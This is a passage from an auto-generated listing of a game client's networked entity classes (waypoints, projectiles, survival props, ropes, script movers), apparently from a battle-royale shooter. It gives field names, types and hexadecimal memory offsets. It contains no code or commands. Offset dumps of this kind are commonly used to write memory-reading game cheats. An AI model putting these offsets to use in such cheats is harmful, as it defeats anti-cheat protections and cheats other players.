+DT_PlayerVehicle!0x1ae8 m_hoverVehicleStunTimeEnd +DT_PlayerVehicle!0x1aec m_hoverVehicleThrottle +DT_PlayerVehicle!0x1af4 m_hoverVehicleBanking +DT_PlayerVehicle!0x1af8 m_hoverVehicleFrictionLastTime +DT_PlayerVehicle!0x1afc m_hoverVehicleFrictionSurfPropOther +DT_PlayerVehicle!0x1b00 m_hoverVehicleFrictionNormal +DT_PlayerVehicle!0x1b0c m_hoverVehicleFrictionPos +DT_PlayerVehicle!0x1b24 m_hoverVehicleSeats +DT_PlayerVehicle!0x1b48 m_abilityAttachmentEnts +DT_PlayerVehicle!0x1b50 m_abilityAttachmentInts +DT_PlayerVehicle!0x1c34 m_overrideVehicleAngles +DT_PlayerVehicle!0x1c40 m_overrideVehicleAnglesUntilTick +DT_PlayerVehicle!0x1c68 m_pushingEnt +DT_PlayerVehicle!0x1cfc m_materialDualColorMask +``` +
+
+class DT_PlayerWaypoint + +``` +{ + moveparent: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_teamMemberIndex: Int, + m_hOwnerEntity: Int, + m_iSignifierName: String, + m_parentAttachmentModel: Int, + m_realmsBitMask: BitMask, + m_waypointType: Int, + m_waypointBitfield: Int, + m_waypointEnts: DataTable, + m_waypointVectors: DataTable, + m_waypointGameTimes: DataTable, + m_waypointInts: DataTable, + m_waypointFloats: DataTable, + m_objectivePackedInt: Int, + m_waypointGroupName: String, + m_waypointGroupFlags: Int, + m_waypointCustomType: String, + m_waypointStringA: String, + m_waypointStringB: String, + m_waypointAssetA: String, + m_waypointAssetB: String, +} +``` + +### Offsets + +``` +DT_PlayerWaypoint!0x001c moveparent +DT_PlayerWaypoint!0x0024 m_parentAttachmentIndex +DT_PlayerWaypoint!0x004c m_cellX +DT_PlayerWaypoint!0x0050 m_cellY +DT_PlayerWaypoint!0x0054 m_cellZ +DT_PlayerWaypoint!0x0058 m_localOrigin +DT_PlayerWaypoint!0x03d4 m_networkedFlags +DT_PlayerWaypoint!0x0428 m_visibilityFlags +DT_PlayerWaypoint!0x0430 m_iTeamNum +DT_PlayerWaypoint!0x0438 m_teamMemberIndex +DT_PlayerWaypoint!0x0484 m_hOwnerEntity +DT_PlayerWaypoint!0x0560 m_iSignifierName +DT_PlayerWaypoint!0x0840 m_parentAttachmentModel +DT_PlayerWaypoint!0x0a28 m_realmsBitMask +DT_PlayerWaypoint!0x0a40 m_waypointType +DT_PlayerWaypoint!0x0a44 m_waypointBitfield +DT_PlayerWaypoint!0x0a48 m_waypointEnts +DT_PlayerWaypoint!0x0a68 m_waypointVectors +DT_PlayerWaypoint!0x0ac8 m_waypointGameTimes +DT_PlayerWaypoint!0x0ae8 m_waypointInts +DT_PlayerWaypoint!0x0b08 m_waypointFloats +DT_PlayerWaypoint!0x0b28 m_objectivePackedInt +DT_PlayerWaypoint!0x0b2c m_waypointGroupName +DT_PlayerWaypoint!0x0b4c m_waypointGroupFlags +DT_PlayerWaypoint!0x0b50 m_waypointCustomType +DT_PlayerWaypoint!0x0b70 m_waypointStringA +DT_PlayerWaypoint!0x0bb0 m_waypointStringB +DT_PlayerWaypoint!0x0bf8 m_waypointAssetA +DT_PlayerWaypoint!0x0c78 m_waypointAssetB +``` +
+
+class DT_PlayerZipline + +``` +{ + m_ziplineReenableWeapons: Int, + m_mountingZiplineDuration: Float, + m_mountingZiplineAlpha: Float, + m_ziplineStartTime: Time, + m_ziplineEndTime: Time, + m_mountingZiplineSourcePosition: Vector, + m_mountingZiplineSourceVelocity: Vector, + m_mountingZiplineTargetPosition: Vector, + m_ziplineUsePosition: Vector, + m_slidingZiplineAlpha: Float, + m_lastMoveDir2D: Vector, + m_ziplineReverse: Int, +} +``` + +### Offsets + +``` +DT_PlayerZipline!0x0008 m_ziplineReenableWeapons +DT_PlayerZipline!0x000c m_mountingZiplineDuration +DT_PlayerZipline!0x0010 m_mountingZiplineAlpha +DT_PlayerZipline!0x0014 m_ziplineStartTime +DT_PlayerZipline!0x0018 m_ziplineEndTime +DT_PlayerZipline!0x001c m_mountingZiplineSourcePosition +DT_PlayerZipline!0x0028 m_mountingZiplineSourceVelocity +DT_PlayerZipline!0x0034 m_mountingZiplineTargetPosition +DT_PlayerZipline!0x004c m_ziplineUsePosition +DT_PlayerZipline!0x0058 m_slidingZiplineAlpha +DT_PlayerZipline!0x005c m_lastMoveDir2D +DT_PlayerZipline!0x0068 m_ziplineReverse +``` +
+
+class DT_Player_AnimViewEntityData + +``` +{ + animViewEntityHandle: Int, + animViewEntityAngleLerpInDuration: Float, + animViewEntityOriginLerpInDuration: Float, + animViewEntityLerpOutDuration: Float, + animViewEntityStabilizePlayerEyeAngles: Int, + animViewEntityThirdPersonCameraParity: Int, + animViewEntityThirdPersonCameraAttachment: DataTable, + animViewEntityNumThirdPersonCameraAttachments: Int, + animViewEntityThirdPersonCameraVisibilityChecks: Int, + animViewEntityDrawPlayer: Int, + fovTarget: Float, + fovSmoothTime: Float, + animViewEntityParity: Int, +} +``` + +### Offsets + +``` +DT_Player_AnimViewEntityData!0x0000 animViewEntityHandle +DT_Player_AnimViewEntityData!0x0004 animViewEntityAngleLerpInDuration +DT_Player_AnimViewEntityData!0x0008 animViewEntityOriginLerpInDuration +DT_Player_AnimViewEntityData!0x000c animViewEntityLerpOutDuration +DT_Player_AnimViewEntityData!0x0010 animViewEntityStabilizePlayerEyeAngles +DT_Player_AnimViewEntityData!0x0014 animViewEntityThirdPersonCameraParity +DT_Player_AnimViewEntityData!0x0018 animViewEntityThirdPersonCameraAttachment +DT_Player_AnimViewEntityData!0x0030 animViewEntityNumThirdPersonCameraAttachments +DT_Player_AnimViewEntityData!0x0034 animViewEntityThirdPersonCameraVisibilityChecks +DT_Player_AnimViewEntityData!0x0035 animViewEntityDrawPlayer +DT_Player_AnimViewEntityData!0x0038 fovTarget +DT_Player_AnimViewEntityData!0x003c fovSmoothTime +DT_Player_AnimViewEntityData!0x0048 animViewEntityParity +``` +
+
+class DT_PortalNonLocalPlayerExclusive + +``` +{ + m_pusher: Int, + m_originRelativeToPusher: Vector, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, +} +``` + +### Offsets + +``` +DT_PortalNonLocalPlayerExclusive!0x0028 m_pusher +DT_PortalNonLocalPlayerExclusive!0x002c m_originRelativeToPusher +DT_PortalNonLocalPlayerExclusive!0x004c m_cellX +DT_PortalNonLocalPlayerExclusive!0x0050 m_cellY +DT_PortalNonLocalPlayerExclusive!0x0054 m_cellZ +DT_PortalNonLocalPlayerExclusive!0x0058 m_localOrigin +DT_PortalNonLocalPlayerExclusive!0x0060 m_localOrigin.z +``` +
+
+class DT_PortalPointPush extends DT_BaseEntity + +``` +{ + m_bEnabled: Int, + m_flMagnitude: Float, + m_flRadius: Float, + m_flInnerRadius: Float, + m_flConeOfInfluence: Float, +} +``` + +### Offsets + +``` +DT_PortalPointPush!0x0a40 m_bEnabled +DT_PortalPointPush!0x0a44 m_flMagnitude +DT_PortalPointPush!0x0a48 m_flRadius +DT_PortalPointPush!0x0a4c m_flInnerRadius +DT_PortalPointPush!0x0a50 m_flConeOfInfluence +``` +
+
+class DT_PostProcessController extends DT_BaseEntity + +``` +{ + m_flPostProcessParameters: DataTable, + m_bMaster: Int, +} +``` + +### Offsets + +``` +DT_PostProcessController!0x0a40 m_flPostProcessParameters +DT_PostProcessController!0x0a58 m_bMaster +``` +
+
+class DT_PredictedAnimEventData + +``` +{ + m_predictedAnimEventTimes: DataTable, + m_predictedAnimEventIndices: DataTable, + m_predictedAnimEventCount: Int, + m_predictedAnimEventTarget: Int, + m_predictedAnimEventSequence: Int, + m_predictedAnimEventModel: Int, + m_predictedAnimEventsReadyToFireTime: Time, +} +``` + +### Offsets + +``` +DT_PredictedAnimEventData!0x0008 m_predictedAnimEventTimes +DT_PredictedAnimEventData!0x0028 m_predictedAnimEventIndices +DT_PredictedAnimEventData!0x0048 m_predictedAnimEventCount +DT_PredictedAnimEventData!0x004c m_predictedAnimEventTarget +DT_PredictedAnimEventData!0x0050 m_predictedAnimEventSequence +DT_PredictedAnimEventData!0x0054 m_predictedAnimEventModel +DT_PredictedAnimEventData!0x0058 m_predictedAnimEventsReadyToFireTime +``` +
+
+class DT_Projectile + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_iTeamNum: Int, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_CollisionGroup: Int, + m_PredictableID: Int, + m_realmsBitMask: BitMask, + m_weaponDataIsSet: Int, + m_forceAdjustToGunBarrelDisabled: Int, + m_weaponClassIndex: Int, + m_destructionDistance: Float, + m_passThroughDepthTotal: Int, + m_modBitfield: Int, + m_overrideMods: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, + m_reducedEffects: Int, + m_projectileCreationTimeServer: Time, + m_weaponSource: Int, + m_passThroughModCount: Int, + m_passThroughPoints: DataTable, + m_preModdedTrailEffectIndices1p: DataTable, + m_preModdedTrailEffectIndices3p: DataTable, + m_launchOrigin: Vector, +} +``` + +### Offsets + +``` +DT_Projectile!0x004c m_cellX +DT_Projectile!0x0050 m_cellY +DT_Projectile!0x0054 m_cellZ +DT_Projectile!0x0058 m_localOrigin +DT_Projectile!0x0064 m_nModelIndex +DT_Projectile!0x03d4 m_networkedFlags +DT_Projectile!0x0430 m_iTeamNum +DT_Projectile!0x0464 m_vecVelocity +DT_Projectile!0x0470 m_localAngles +DT_Projectile!0x0484 m_hOwnerEntity +DT_Projectile!0x0520 m_CollisionGroup +DT_Projectile!0x07ac m_PredictableID +DT_Projectile!0x0a28 m_realmsBitMask +DT_Projectile!0x1600 m_weaponDataIsSet +DT_Projectile!0x1601 m_forceAdjustToGunBarrelDisabled +DT_Projectile!0x1604 m_weaponClassIndex +DT_Projectile!0x1608 m_destructionDistance +DT_Projectile!0x160c m_passThroughDepthTotal +DT_Projectile!0x1610 m_modBitfield +DT_Projectile!0x1614 m_overrideMods +DT_Projectile!0x1618 m_projectileTrailIndex +DT_Projectile!0x161c m_impactEffectTable +DT_Projectile!0x1620 m_reducedEffects +DT_Projectile!0x1624 m_projectileCreationTimeServer +DT_Projectile!0x1628 m_weaponSource +DT_Projectile!0x162c m_passThroughModCount +DT_Projectile!0x1630 m_passThroughPoints +DT_Projectile!0x163c m_preModdedTrailEffectIndices1p +DT_Projectile!0x1640 m_preModdedTrailEffectIndices3p +DT_Projectile!0x1644 m_launchOrigin +``` +
+
+class DT_PropSurvival + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_iSignifierName: String, + m_parentAttachmentModel: Int, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_realmsBitMask: BitMask, + m_nSkin: Int, + m_skinMod: Int, + m_nBody: Int, + m_camoIndex: Int, + m_ammoInClip: Int, + m_customScriptInt: Int, + m_survivalProperty: Int, + m_weaponNameIndex: Int, + m_modBitField: Int, + m_survivalPropFadeDist: Float, +} +``` + +### Offsets + +``` +DT_PropSurvival!0x001c moveparent +DT_PropSurvival!0x0020 m_parentAttachmentType +DT_PropSurvival!0x0024 m_parentAttachmentIndex +DT_PropSurvival!0x0044 m_fEffects +DT_PropSurvival!0x0048 m_usableType +DT_PropSurvival!0x004c m_cellX +DT_PropSurvival!0x0050 m_cellY +DT_PropSurvival!0x0054 m_cellZ +DT_PropSurvival!0x0058 m_localOrigin +DT_PropSurvival!0x0064 m_nModelIndex +DT_PropSurvival!0x03d4 m_networkedFlags +DT_PropSurvival!0x0428 m_visibilityFlags +DT_PropSurvival!0x0470 m_localAngles +DT_PropSurvival!0x04a0 m_Collision +DT_PropSurvival!0x0520 m_CollisionGroup +DT_PropSurvival!0x0560 m_iSignifierName +DT_PropSurvival!0x0840 m_parentAttachmentModel +DT_PropSurvival!0x0908 m_usablePriority +DT_PropSurvival!0x090c m_usableDistanceOverride +DT_PropSurvival!0x0910 m_usableFOV +DT_PropSurvival!0x0914 m_usePromptSize +DT_PropSurvival!0x0a28 m_realmsBitMask +DT_PropSurvival!0x0e88 m_nSkin +DT_PropSurvival!0x0e8c m_skinMod +DT_PropSurvival!0x0e90 m_nBody +DT_PropSurvival!0x0e94 m_camoIndex +DT_PropSurvival!0x1604 m_ammoInClip +DT_PropSurvival!0x1608 m_customScriptInt +DT_PropSurvival!0x160c m_survivalProperty +DT_PropSurvival!0x1610 m_weaponNameIndex +DT_PropSurvival!0x1614 m_modBitField +DT_PropSurvival!0x161c m_survivalPropFadeDist +``` +
+
+class DT_RopeKeyframe + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_visibilityFlags: Int, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_ropeZiplineAutoDetachDistance: Float, + m_ziplineSagEnable: Int, + m_ziplineSagHeight: Float, + m_ziplineMoveSpeedScale: Float, + m_wiggleFadeStartTime: Time, + m_wiggleEndTime: Time, + m_wiggleMaxLen: Float, + m_wiggleMagnitude: Float, + m_wiggleSpeed: Float, + m_flScrollSpeed: Float, + m_RopeFlags: Int, + m_iRopeMaterialModelIndex: Int, + m_nSegments: Int, + m_hStartPoint: Int, + m_hEndPoint: Int, + m_hPrevPoint: Int, + m_iStartAttachment: Int, + m_iEndAttachment: Int, + m_subdivStackCount: Int, + m_subdivSliceCount: Int, + m_ropeLength: Int, + m_constraintIterations: Int, + m_ropeDampening: Float, + m_Slack: Int, + m_TextureScale: Float, + m_TextureScale: Float, + m_fLockedPoints: Int, + m_lockDirectionCutoffLength: Int, + m_lockDirectionStrength: Float, + m_nChangeCount: Int, + m_Width: Float, + m_bConstrainBetweenEndpoints: Int, +} +``` + +### Offsets + +``` +DT_RopeKeyframe!0x0004 m_localOrigin +DT_RopeKeyframe!0x001c moveparent +DT_RopeKeyframe!0x0020 m_parentAttachmentType +DT_RopeKeyframe!0x0024 m_parentAttachmentIndex +DT_RopeKeyframe!0x0428 m_visibilityFlags +DT_RopeKeyframe!0x0484 m_hOwnerEntity +DT_RopeKeyframe!0x083c m_parentAttachmentHitbox +DT_RopeKeyframe!0x0840 m_parentAttachmentModel +DT_RopeKeyframe!0x084c m_fadeDist +DT_RopeKeyframe!0x0a40 m_ropeZiplineAutoDetachDistance +DT_RopeKeyframe!0x0a44 m_ziplineSagEnable +DT_RopeKeyframe!0x0a48 m_ziplineSagHeight +DT_RopeKeyframe!0x0b40 m_ziplineMoveSpeedScale +DT_RopeKeyframe!0x0b44 m_wiggleFadeStartTime +DT_RopeKeyframe!0x0b48 m_wiggleEndTime +DT_RopeKeyframe!0x0b4c m_wiggleMaxLen +DT_RopeKeyframe!0x0b50 m_wiggleMagnitude +DT_RopeKeyframe!0x0b54 m_wiggleSpeed +DT_RopeKeyframe!0x0b8c m_flScrollSpeed +DT_RopeKeyframe!0x0b90 m_RopeFlags +DT_RopeKeyframe!0x0b94 m_iRopeMaterialModelIndex +DT_RopeKeyframe!0x0e18 m_nSegments +DT_RopeKeyframe!0x0e1c m_hStartPoint +DT_RopeKeyframe!0x0e20 m_hEndPoint +DT_RopeKeyframe!0x0e24 m_hPrevPoint +DT_RopeKeyframe!0x0e28 m_iStartAttachment +DT_RopeKeyframe!0x0e2a m_iEndAttachment +DT_RopeKeyframe!0x0e54 m_subdivStackCount +DT_RopeKeyframe!0x0e58 m_subdivSliceCount +DT_RopeKeyframe!0x0e5c m_ropeLength +DT_RopeKeyframe!0x0e64 m_constraintIterations +DT_RopeKeyframe!0x0e68 m_ropeDampening +DT_RopeKeyframe!0x0e6c m_Slack +DT_RopeKeyframe!0x0e70 m_TextureScale +DT_RopeKeyframe!0x0e70 m_TextureScale +DT_RopeKeyframe!0x0e74 m_fLockedPoints +DT_RopeKeyframe!0x0e78 m_lockDirectionCutoffLength +DT_RopeKeyframe!0x0e7c m_lockDirectionStrength +DT_RopeKeyframe!0x0e80 m_nChangeCount +DT_RopeKeyframe!0x0e84 m_Width +DT_RopeKeyframe!0x0f18 m_bConstrainBetweenEndpoints +``` +
+
+class DT_ScriptMover extends DT_ScriptProp + +``` +{ + m_parentAttachmentType: Int, + m_vecAngVelocity: Vector, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_parentAttachmentHitbox: Int, +} +``` + +### Offsets + +``` +DT_ScriptMover!0x0020 m_parentAttachmentType +DT_ScriptMover!0x0128 m_vecAngVelocity +DT_ScriptMover!0x0464 m_vecVelocity +DT_ScriptMover!0x0470 m_localAngles +DT_ScriptMover!0x083c m_parentAttachmentHitbox +``` +
+
+class DT_ScriptMoverLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_moverNetworkCellX: Int, + m_moverNetworkCellY: Int, + m_moverNetworkCellZ: Int, + m_moverNetworkLocalOrigin: Vector, + m_nModelIndex: Int, + m_moverNetworkAngularVelocity: Vector, + m_networkedFlags: Int, + m_moverNetworkLinearVelocity: Vector, + m_moverNetworkLocalAngles: Vector, + m_scriptNameIndex: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_moveModeNonPhysics: Int, + m_moveModeIsLocal: Int, + m_moveToStartPos: Vector, + m_moveToEndPos: Vector, + m_moveToTimeStart: Time, + m_moveToTimeEnd: Time, + m_moveToTimeEaseIn: Float, + m_moveToTimeEaseOut: Float, + m_moveVelocity: Vector, + m_moveGravity: Vector, + m_trainStartTime: Time, + m_trainStopTime: Time, + m_trainStartDistance: Float, + m_trainCurrentNode: Int, + m_trainStopNode: Int, + m_trainInitialSpeed: Float, + m_trainGoalSpeed: Float, + m_trainAcceleration: Float, + m_trainLastNode: Int, + m_trainLastDistance: Float, + m_trainLastSpeed: Float, + m_trainFollowMover: Int, + m_trainFollowDistance: Float, + m_trainBreadcrumb: DataTable, + m_trainBreadcrumbBegin: Int, + m_trainBreadcrumbCount: Int, + m_trainAutoRollStrength: Float, + m_trainAutoRollLookAheadDistance: Float, + m_trainAutoRollMax: Float, + m_trainSimulateBeforeMeEntity: Int, + m_rotateModeNonPhysics: Int, + m_rotateModeIsLocal: Int, + m_RotateToAnglesStart: Vector, + m_RotateToAnglesEnd: Vector, + m_rotateToTimeStart: Time, + m_rotateToTimeEnd: Time, + m_rotateToTimeEaseIn: Float, + m_rotateToTimeEaseOut: Float, + m_rotateAxis: Vector, + m_rotateSpeed: Float, + m_trainPitchMax: Float, + m_useNonPhysicsMoveInterpolation: Int, +} +``` + +### Offsets + +``` +DT_ScriptMoverLightweight!0x001c moveparent +DT_ScriptMoverLightweight!0x0020 m_parentAttachmentType +DT_ScriptMoverLightweight!0x0024 m_parentAttachmentIndex +DT_ScriptMoverLightweight!0x0044 m_fEffects +DT_ScriptMoverLightweight!0x004c m_moverNetworkCellX +DT_ScriptMoverLightweight!0x0050 m_moverNetworkCellY +DT_ScriptMoverLightweight!0x0054 m_moverNetworkCellZ +DT_ScriptMoverLightweight!0x0058 m_moverNetworkLocalOrigin +DT_ScriptMoverLightweight!0x0064 m_nModelIndex +DT_ScriptMoverLightweight!0x0128 m_moverNetworkAngularVelocity +DT_ScriptMoverLightweight!0x03d4 m_networkedFlags +DT_ScriptMoverLightweight!0x0464 m_moverNetworkLinearVelocity +DT_ScriptMoverLightweight!0x0470 m_moverNetworkLocalAngles +DT_ScriptMoverLightweight!0x0670 m_scriptNameIndex +DT_ScriptMoverLightweight!0x083c m_parentAttachmentHitbox +DT_ScriptMoverLightweight!0x0840 m_parentAttachmentModel +DT_ScriptMoverLightweight!0x084c m_fadeDist +DT_ScriptMoverLightweight!0x1744 m_moveModeNonPhysics +DT_ScriptMoverLightweight!0x1748 m_moveModeIsLocal +DT_ScriptMoverLightweight!0x174c m_moveToStartPos +DT_ScriptMoverLightweight!0x1758 m_moveToEndPos +DT_ScriptMoverLightweight!0x1764 m_moveToTimeStart +DT_ScriptMoverLightweight!0x1768 m_moveToTimeEnd +DT_ScriptMoverLightweight!0x176c m_moveToTimeEaseIn +DT_ScriptMoverLightweight!0x1770 m_moveToTimeEaseOut +DT_ScriptMoverLightweight!0x1774 m_moveVelocity +DT_ScriptMoverLightweight!0x1780 m_moveGravity +DT_ScriptMoverLightweight!0x178c m_trainStartTime +DT_ScriptMoverLightweight!0x1790 m_trainStopTime +DT_ScriptMoverLightweight!0x1794 m_trainStartDistance +DT_ScriptMoverLightweight!0x1798 m_trainCurrentNode +DT_ScriptMoverLightweight!0x179c m_trainStopNode +DT_ScriptMoverLightweight!0x17a0 m_trainInitialSpeed +DT_ScriptMoverLightweight!0x17a4 m_trainGoalSpeed +DT_ScriptMoverLightweight!0x17a8 m_trainAcceleration +DT_ScriptMoverLightweight!0x17ac m_trainLastNode +DT_ScriptMoverLightweight!0x17b0 m_trainLastDistance +DT_ScriptMoverLightweight!0x17b4 m_trainLastSpeed +DT_ScriptMoverLightweight!0x17b8 m_trainFollowMover +DT_ScriptMoverLightweight!0x17bc m_trainFollowDistance +DT_ScriptMoverLightweight!0x17c0 m_trainBreadcrumb +DT_ScriptMoverLightweight!0x17e0 m_trainBreadcrumbBegin +DT_ScriptMoverLightweight!0x17e4 m_trainBreadcrumbCount +DT_ScriptMoverLightweight!0x17e8 m_trainAutoRollStrength +DT_ScriptMoverLightweight!0x17ec m_trainAutoRollLookAheadDistance +DT_ScriptMoverLightweight!0x17f0 m_trainAutoRollMax +DT_ScriptMoverLightweight!0x17f4 m_trainSimulateBeforeMeEntity +DT_ScriptMoverLightweight!0x17f8 m_rotateModeNonPhysics +DT_ScriptMoverLightweight!0x17fc m_rotateModeIsLocal +DT_ScriptMoverLightweight!0x1800 m_RotateToAnglesStart +DT_ScriptMoverLightweight!0x180c m_RotateToAnglesEnd +DT_ScriptMoverLightweight!0x1818 m_rotateToTimeStart +DT_ScriptMoverLightweight!0x181c m_rotateToTimeEnd +DT_ScriptMoverLightweight!0x1820 m_rotateToTimeEaseIn +DT_ScriptMoverLightweight!0x1824 m_rotateToTimeEaseOut +DT_ScriptMoverLightweight!0x1828 m_rotateAxis +DT_ScriptMoverLightweight!0x1834 m_rotateSpeed +DT_ScriptMoverLightweight!0x1838 m_trainPitchMax +DT_ScriptMoverLightweight!0x1884 m_useNonPhysicsMoveInterpolation +``` +
+
+class DT_ScriptMoverTrainNode + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_scriptNameIndex: Int, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, + m_numSmoothPoints: Int, + m_trainNodeMakeSmoothPointsParity: Int, + m_tangentType: Int, + m_perfectCircularRotation: Int, +} +``` + +### Offsets + +``` +DT_ScriptMoverTrainNode!0x004c m_cellX +DT_ScriptMoverTrainNode!0x0050 m_cellY +DT_ScriptMoverTrainNode!0x0054 m_cellZ +DT_ScriptMoverTrainNode!0x0058 m_localOrigin +DT_ScriptMoverTrainNode!0x0670 m_scriptNameIndex +DT_ScriptMoverTrainNode!0x0a20 m_firstChildEntityLink +DT_ScriptMoverTrainNode!0x0a24 m_firstParentEntityLink +DT_ScriptMoverTrainNode!0x0a40 m_numSmoothPoints +DT_ScriptMoverTrainNode!0x0a44 m_trainNodeMakeSmoothPointsParity +DT_ScriptMoverTrainNode!0x0a48 m_tangentType +DT_ScriptMoverTrainNode!0x0a4c m_perfectCircularRotation +``` +
+
+class DT_ScriptNetData_SNDC_DEATH_BOX extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_bools +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_ranges +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_int32s +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_times +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_entities +DT_ScriptNetData_SNDC_DEATH_BOX!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0c84 m_ranges[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0ca8 m_int32s[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0cb4 m_times[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0cc0 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_GLOBAL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_bools +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_ranges +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_int32s +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_times +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_entities +DT_ScriptNetData_SNDC_GLOBAL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0c92 m_ranges[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0cd8 m_int32s[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0d00 m_times[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0d68 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_bools +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_ranges +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_int32s +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_times +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_entities +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0c92 m_ranges[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0cd8 m_int32s[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0d00 m_times[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0d68 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0c9a m_ranges[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0ce0 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0cf8 m_times[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0d20 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0c9a m_ranges[0] 